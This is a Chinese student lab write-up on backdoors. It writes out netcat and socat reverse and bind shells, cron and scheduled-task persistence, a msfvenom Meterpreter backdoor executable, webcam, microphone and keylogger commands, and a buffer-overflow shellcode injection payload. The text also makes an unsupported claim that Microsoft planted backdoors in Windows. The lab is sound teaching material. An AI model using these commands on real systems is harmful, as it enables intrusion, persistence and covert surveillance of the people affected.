文章目录

  • 20194307肖江宇Exp-2后门原理与实践
    • 1.实验基础
      • 1.1基础知识
      • 1.2常用后门工具
        • NC和Netcat
        • SoCat
        • 任何代理、转发等功能都可以用该工具实现。
        • Meterpreter
    • 2.实验目标
      • 2.1实验环境
    • 3.实验过程
      • 3.1使用netcat获取主机操作Shell,cron启动
        • (1)在主机中获取虚拟机shell
        • (2)在虚拟机中获取主机shell
        • (3)在虚拟机中cron启动并在主机监听
      • 3.2使用socat获取主机操作Shell,任务计划启动
        • (1)在Windows获得Linux Shell
      • 3.3使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
        • (1)在Kali上生成后门可执行程序`20194307_backdoor.exe`
    • 4.使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
      • 4.1获取目标主机音频
      • 4.2获取目标主机摄像头
      • 4.3获取击键记录
      • 4.4截取主机屏幕
    • 5.使用MSF生成shellcode,注入到实践1中的pwn20194307中,获取反弹连接Shell
      • 5.1使用`msfvenom --list payload`查看各个主机版本适用的payload
      • 5.2选定payload,确定所需要参数
      • 5.3生成的shellcode
      • 5.4生成input_shellcode文件
      • 5.5将input_shellcode文件传输并注入到主机2的pwn20194307中实现攻击
      • 5.6成功实现各功能
    • 6.基础问题解答
      • 6.1例举你能想到的一个后门进入到你系统中的可能方式?
      • 6.2例举你知道的后门如何启动起来(win及linux)的方式?
        • (1)Windows端
        • (2)Linux端
      • 6.3Meterpreter有哪些给你印象深刻的功能?
      • 6.4如何发现自己有系统有没有被安装后门?
    • 7.实验心得

20194307肖江宇Exp-2后门原理与实践

1.实验基础

本次实验需要我们掌握后门的基础知识,学习使用nc实现Windows,Linux之间的后门连接,学习使用Metaspolit的msfvenom指令生成简单的后门程序,学会MSF POST模块的应用。

1.1基础知识

后门的概念

后门就是不经过正常认证流程而访问系统的通道。后门可能出现在编译器中、操作系统中,最常见的是应用程序中的后门,还可能是潜伏于操作系统中或伪装成特定应用的专用后门程序

1.2常用后门工具

  • NC和Netcat

底层工具,进行基本的TCP、UDP数据收发,常常被与其他工具结合使用,起到后门的作用。

在Linux系统中一般自带netcat,使用man nc命令可以查看使用帮助

在Windows系统中,需要下载ncat.rar,解压后可使用

  • SoCat

相当于Netcat++,一个超级Netcat工具。
在Windows下可以下载socat.rar,使用README作为参考。

任何代理、转发等功能都可以用该工具实现。

  • Meterpreter

一个用来生成后门程序的程序。

它包含着后门的

  • 基本功能(基本的连接、执行指令)
  • 扩展功能(如搜集用户信息、安装服务等功能)
  • 编码模式
  • 运行平台
  • 运行参数
    它把后门的内容全部做成零件或可调整的参数,按需组合使用形成需要的可执行文件。

常见的Meterpreter程序有

  • intersect
  • Metaspolit的msfvenom指令
  • Veil-evasion
    本次实验我们使用msfvenom指令生成后门可执行文件Meterpreter。

2.实验目标

  • 使用netcat获取主机操作Shell,cron启动
  • 使用socat获取主机操作Shell,任务计划启动
  • 使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
  • 使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
  • 使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell。
    实验环境

2.1实验环境

  • 主机:Windows 10;
  • 靶机:Kali Linux Debian 10;

在主机上用ipconfig查看Windows10主机IP


主机IP为192.168.3.165

在Kali虚拟机中ifconfig查看Kali虚拟机IP


Kali虚拟机IP为192.168.238.128


3.实验过程

3.1使用netcat获取主机操作Shell,cron启动

(1)在主机中获取虚拟机shell

在主机中使用ncat -l -p 4307(个人学号后四位)监听本机的4307端口

在虚拟机中使用nc 192.168.3.165(主机IP) 4307 -e /bin/sh连接主机反弹shell

成功getshell

(2)在虚拟机中获取主机shell

在虚拟机中用nc -l -p 4307监听主机4307端口

在主机中用ncat -e cmd 192.168.238.128 4307

成功获取到主机shell

(3)在虚拟机中cron启动并在主机监听

在虚拟机上用crontab -e指令编辑一条定时任务(crontab指令增加一条定时任务,-e表示编辑,输入2表示选择vim编辑器)

在最后一行添加0 * * * * /bin/netcat 192.168.3.165(主机IP) 4307 -e /bin/sh,即在每个小时的第0分钟反向连接Windows主机的4307端口

等到每小时的0分,在ip地址为192.168.3.165的主机端用ncat -l -p 4307打开4307端口监听即可


此外,也可以开一个非反弹式后门,在cron中写入nc -l -p 4307 -e /bin/sh,这时攻击机能随时通过nc 主机ip 4307获得虚拟机的一个Shell

3.2使用socat获取主机操作Shell,任务计划启动

(1)在Windows获得Linux Shell

在Kali中用man socat查看使用说明

在Windows中按Win+R,再输入compmgmt.msc打开计算机管理


在系统工具中的任务计划程序中创建任务


设置任务名称


新建触发器

下一步是新建操作,但在新建操作前,我们需要在Windows上下载socat.rar,并解压后使用,使用参考README

新建操作,操作设置为启动程序socat.exe,并添加参数tcp-listen:4307 exec:cmd.exe,pty,stderr,这个命令的作用是把cmd.exe绑定到端口4307,同时把cmd.exe的stderr重定向

设置好后我们按下Win+L(通用)或者F10(一些电脑适用)锁定工作台,即把电脑锁屏。

锁屏后解锁,kali输入socat - tcp:192.168.3.165:4307

成功获取Windows的Shell

3.3使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell

(1)在Kali上生成后门可执行程序20194307_backdoor.exe

输入msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.238.128(kali的Ip) LPORT=4307 -f exe > 20194307_backdoor.exe,其中

  • LHOST为反弹回连的IP,在这里是要反弹给Kali,也就是Kali的IP
  • LPORT是回连的端口
  • -p 使用的payload。
  • payload翻译为有效载荷,就是被运输有东西。这里windows/meterpreter/reverse_tcp就是一段shellcode。
  • -f 生成文件的类型
  • > 输出到哪个文件

在Windows上打开监听


在Kali上用nc 192.168.3.165 4307 < 20194307_backdoor.exe将生成的20194307_backdoor.exe后门程序传过去

在kali上使用msfconsole指令进入msf控制台

对msf控制台进行配置
依次输入以下命令

use exploit/multi/handler        #使用监听模块,设置payload
set payload windows/meterpreter/reverse_tcp  #使用和生成后门程序时相同的payload
set LHOST 192.168.238.128       #KaliIP,和生成后门程序时指定的IP相同
set LPORT 4307                  #端口号,和生成后门程序时指定的端口号相同
show options                    #查看配置情况


接着输入exploit进行监听,在Windows在打开20194307_backdoor.exe后成功获取到Windows的shell(注意最好把所有杀毒软件退出,否则打开后门程序时很容易出现拒绝访问的情况)

4.使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权

4.1获取目标主机音频

在之前进入的MSF exploit中输入record_mic指令进行录音(-d可设置时长)

4.2获取目标主机摄像头

输入webcam_snap指令控制摄像头进行拍照


run webcam可以进行屏幕录制,相当于不间断地用摄像头拍照片,并不断存储在一个jpg中,在文件系统中我们会看到一个在不断变化的jpg文件

4.3获取击键记录

输入keyscan_start开始捕获键盘记录,keyscan_dump获取击键记录(-d可设置时长)

4.4截取主机屏幕

使用screenshot指令可以进行截屏


5.使用MSF生成shellcode,注入到实践1中的pwn20194307中,获取反弹连接Shell

本部分内容参考20155225江智宇实验内容

参考资料如下:
msfvenom生成各类Payload命令
msf生成shellcode - dozeoo - 博客园
KALI的学习笔记篇(八)使用MSF生成的SHELLCODE制作免杀PAYLOAD

5.1使用msfvenom --list payload查看各个主机版本适用的payload


这里我的虚拟机是Linux64位的,但是由于pwn文件是32位的,因此采取x86的payload,找到符合要求的反弹shell的payload

5.2选定payload,确定所需要参数

选定了payload,需要使用参数,用以下指令查看

msfvenom -p linux/x86/shell_reverse_tcp --list-options

选好了payload,接下来我们-f选payload的输出格式。用这个指令可以查看payload有哪些输出格式。

(root㉿xiaojiangyu)-[~]
└─# msfvenom -f --list
Attempting to read payload from STDIN...
linux/x86/shell_reverse_tcp

由于我们需要注入到实验一的pwn1文件中,很明显选择c

5.3生成的shellcode

最终我们的生成shellcode的指令是

msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.238.128 LPORT=4307 -f c

上述代码各参数意义

  • -p linux/x86/shell_reverse_tcp表示使用的payload为linux/x86/shell_reverse_tcp,其中需要的参数分别为: LHOST=192.168.238.128 LPORT=4307
  • -f c表示采取c编码格式


图中即为我们所需shellcode

5.4生成input_shellcode文件

按照实验一方法生成input_shellcode文件

perl -e 'print "A" x 32;print "\xa0\xd1\xff\xff\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd\x80\x93\x59\xb0\x3f\xcd\x80\x49\x79\xf9\x68\xc0\xa8\xee\x80\x68\x02\x00\x10\xd3\x89\xe1\xb0\x66\x50\x51\x53\xb3\x03\x89\xe1\xcd\x80\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80"' > Input_shellcode

5.5将input_shellcode文件传输并注入到主机2的pwn20194307中实现攻击

首先主机2打开监听

nc -lp 4307 > input_Shellcode ; (cat input_Shellcode;cat) | ./pwn20194307

主机1发送input_shellcode到主机2

nc 192.168.238.129 4307 < input_shellcode


主机2再开一个终端,配置msfconsole,打开监听

┌──(root㉿xiaojiangyu)-[~]
└─# msfconsole
msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload linux/x86/shell_reverse_tcp
payload => linux/x86/shell_reverse_tcp
msf6 exploit(multi/handler) > set LPORT 4307
LPORT => 4307
msf6 exploit(multi/handler) > set LHOST 192.168.238.128
LHOST => 192.168.238.128
msf6 exploit(multi/handler) > show options


输入exploit进入监听


此时发现无反应,是因为主机2接受文件的进程还未结束,我们只需在主机1发送文件的终端上中止发送文件的进程即可

成功获取shell!!!

5.6成功实现各功能

使用help命令获取可执行命令


输入shell

shell

进入shell


shell下ifconfig命令


6.基础问题解答

6.1例举你能想到的一个后门进入到你系统中的可能方式?

钓鱼邮件的链接,点击后下载进入到系统;网络上购买的U盘,可能事先被植入后门。

6.2例举你知道的后门如何启动起来(win及linux)的方式?

(1)Windows端

  • Windows系统隐藏账户
    攻击者创建一个新的具有管理员权限的隐藏账户,因为是隐藏账户,所以防守方是无法通过控制面板或命令行看到这个账户的
  • Windows计划任务后门
    修改了Windows的任务管理计划,设置成系统进行特定动作如本次实验我是用的锁定屏幕,或者在特定时间触发后门程序
  • Windows服务后门介绍
    攻击者利用Windows的服务机制创建一个后门服务,那么这个后门将比一般的持久化方法更为强健。
  • Windows启动项后门
    一种是重启电脑时自启动后门程序实现权限维持;另一种是点击某应用、服务、程序时自启动后门程序实现权限维持。

(2)Linux端

  • 增加超级用户帐号
  • 破解/嗅控用户密码
  • 放置SUID Shell**
  • 利用系统服务程序
  • TCP/UDP/ICMP Shell

6.3Meterpreter有哪些给你印象深刻的功能?

在整个实验过程中我实际操作使用了Meterpreter进行后门程序的生成,我感觉印象最深的是他构造后门程序的过程,首先他的payload有几百种,涵盖了很多攻击的方式,其次是他生成后门程序的过程,十分方便,只需要一行代码即可,最后是他控制别人电脑的功能,十分强大,涵盖范围很广。

6.4如何发现自己有系统有没有被安装后门?

如果电脑经常出现一些异常情况则在一定程度上可认为系统被安装了后门(其实Windows本身就被微软植入了许多后门,只是还没到暴露后门获取情报的时候)
简要说来有这样一些异常情况:

  • 经常死机
    病毒打开了许多文件或占用了大量内存。

  • 系统无法启动
    病毒修改了硬盘的引导信息,或删除了某些启动文件。

  • 某些文件打不开
    病毒修改了文件格式;病毒修改了文件链接位置。文件损坏;硬盘损坏;文件快捷方式对应的链接位置发生了变化;原来编辑文件的软件删除了。

  • 经常报告内存不够
    病毒非法占用了大量内存,或是打开了大量的软件。

  • 提示硬盘空间不够
    病毒复制了大量的病毒文件。

  • 出现大量来历不明的文件
    病毒作为母本复制了大量文件。

  • 启动黑屏/蓝屏
    病毒感染。

  • 数据丢失
    病毒删除了文件。

  • 系统运行速度慢
    病毒占用了内存和CPU资源,在后台运行了大量非法操作。

  • 系统自动执行操作
    病毒在后台执行非法操作

7.实验心得

本次实验前期感觉挺简单的,因为老师的视频长度也不长,而且内容也浅显易懂。但是到了中期用MSF生成后门时就有问题了,因为代码看不懂,不知道为什么那样写一个生成后门的代码,后来去学习了一下MSF的相关知识才豁然开朗,于是不免那MSF与实验一中生成shellcode的方式进行了对比。

对比后我的感觉有以下几个方面:实验一中生成shellcode的方式难度更大,但是更加自由化,可以自主设计,隐蔽性和危害性也取决于设计的人。MSF生成则是一个shellcode生成平台,像一个流水线工厂,拿来组装就能用,但是也有一个弊端,这个工厂不是所有的东西都有的,有的他没有,所以有的功能就无法实现。而且由于MSF公开的原因,大部分商用的机器都会针对其后门程序进行灭杀,这也是为什么我们实验二要在关闭防火墙的基础下做的主要原因,因为MSF的后门,谁都知道他是一个后门。
总的来说,我对这次的实验很感兴趣,因为一个小小的文件注入到别人电脑里就可以实现控制他人电脑,这一点很有趣,很好玩。在研究这个的过程中,我也是自主地在学习,了解知识,获得知识,这样的一个过程我觉得很有意义!

20194307肖江宇Exp2—后门原理与实践相关推荐

  1. 20194307肖江宇Exp5—信息搜集与漏洞扫描

    文章目录 20194307肖江宇Exp5-信息搜集与漏洞扫描 一.实践目标 二.实践内容 1. 各种搜索技巧的应用 1.1 搜索网址目录结构 1.2 利用搜索引擎的技巧 1.3 路由侦察 2. DNS ...

  2. 20194307肖江宇exp-1

    20194307肖江宇<网络对抗技术> exp1 逆向与Bof基础 文章目录 20194307肖江宇<网络对抗技术> exp1 逆向与Bof基础 基础知识 1. NOP,JNE ...

  3. 2019-2020-2 20175227张雪莹《网络对抗技术》 Exp2 后门原理与实践

    2019-2020-2 20175227张雪莹<网络对抗技术> Exp2 后门原理与实践 目录 0. 基础知识 1. 实验内容 1.0 常用后门工具 1.1 使用netcat获取主机操作S ...

  4. Exp2 后门原理与实践 20164323段钊阳

    220164323 Exp2 后门原理与实践 (1)例举你能想到的一个后门进入到你系统中的可能方式? 在使用盗版软件,盗版系统,甚至游戏外挂时,往往会让我们关闭杀毒软件,. (2)例举你知道的后门如何 ...

  5. 2018-2019 Exp2 后门原理与实践

    2018-2019 Exp2 后门原理与实践 目录 一.实验内容说明及基础问题回答 二.工具准备 查看WindowsIP和LinuxIP Windows获得Linuxshell Linux 获得Win ...

  6. 2018-2019-2 网络对抗技术 20165301 Exp2 后门原理与实践

    2018-2019-2 网络对抗技术 20165301 Exp2 后门原理与实践 实验内容 (1)使用netcat获取主机操作Shell,cron启动 (2)使用socat获取主机操作Shell, 任 ...

  7. Exp2 后门原理与实践 20164321 王君陶

    Exp2 后门原理与实践 20164321 王君陶 一.实验内容 基础问题回答: 1.例举你能想到的一个后门进入到你系统中的可能方式? 答:通过漏洞,点击陌生链接,或者浏览不良网页挂马. 2.例举你知 ...

  8. Exp2 后门原理与实践 20204308李文艳

    Exp2 后门原理与实践 20204308李文艳 1. 基础问题 1.1 例举你能想到的一个后门进入到你系统中的可能方式? 1.2 例举你知道的后门如何启动起来(win及linux)的方式? 1.3 ...

  9. 20155317王新玮《网络对抗》Exp2 后门原理与实践

    20155317王新玮<网络对抗>Exp2 后门原理与实践 一.实验内容 (1)使用netcat获取主机操作Shell,cron启动 (2)使用socat获取主机操作Shell, 任务计划 ...

最新文章

  1. 机器学习之条件随机场CRF一点理解
  2. java rest 知乎_java 自动化 三分钟带你理解 RESTful
  3. jquery实现加载更多效果
  4. MySQL从入门到精通50讲(四)-MySQL表操作创建表及删除表
  5. pythonssl双向认证_Python 上的 ssl 提示验证失败,有什么办法深究具体失败的原因么?...
  6. width用计算机英语,计算机的英语词汇
  7. 前端学习(1325):await关键字
  8. 其他-私人♂收藏(比赛记录 Mar, 2019)
  9. 详解图像处理的算术运算与逻辑运算
  10. 我的git仓库,顺记github配置
  11. php 等比例缩略图,PHP等比例生成缩略图
  12. 汇编语言 第一单元 整理(补充)
  13. C语言数据结构之顺序队列
  14. 【模拟电子技术基础】学习笔记 第一章 半导体二极管
  15. qq空间音乐外链,音乐永久地址,连接dj,连接音乐,背景音乐,舞曲背景0sm.com
  16. 编程语言的执行方式、静态语言和脚本语言
  17. 贴片钽电容封装、尺寸
  18. LOJ 6070基因 回文树 分块
  19. ImageNet一作、李飞飞高徒邓嘉获最佳论文奖,ECCV 2020奖项全公布
  20. 虚拟机安装CentOs系统

热门文章

  1. js 实现查找两个数组中的不同项——基础积累
  2. 【Dlib】人脸检测、特征点检测、人脸对齐、人脸识别
  3. 看门狗watch_dog.sh的部署
  4. 基于arduino的wifi自动开门装置(Arduino)
  5. 基于javaweb的电影在线观看系统(java+ssm+jsp+layui+mysql)
  6. Menu:选项菜单,上下文菜单,弹出式菜单
  7. FastReport分组、填充空格、分页和小计
  8. 函数wcd_swr_ctrl_add_devices()分析
  9. Oracle 数据库监控
  10. linux服务器安装mysql8、开启mysql外部远程访问权限、卸载mysql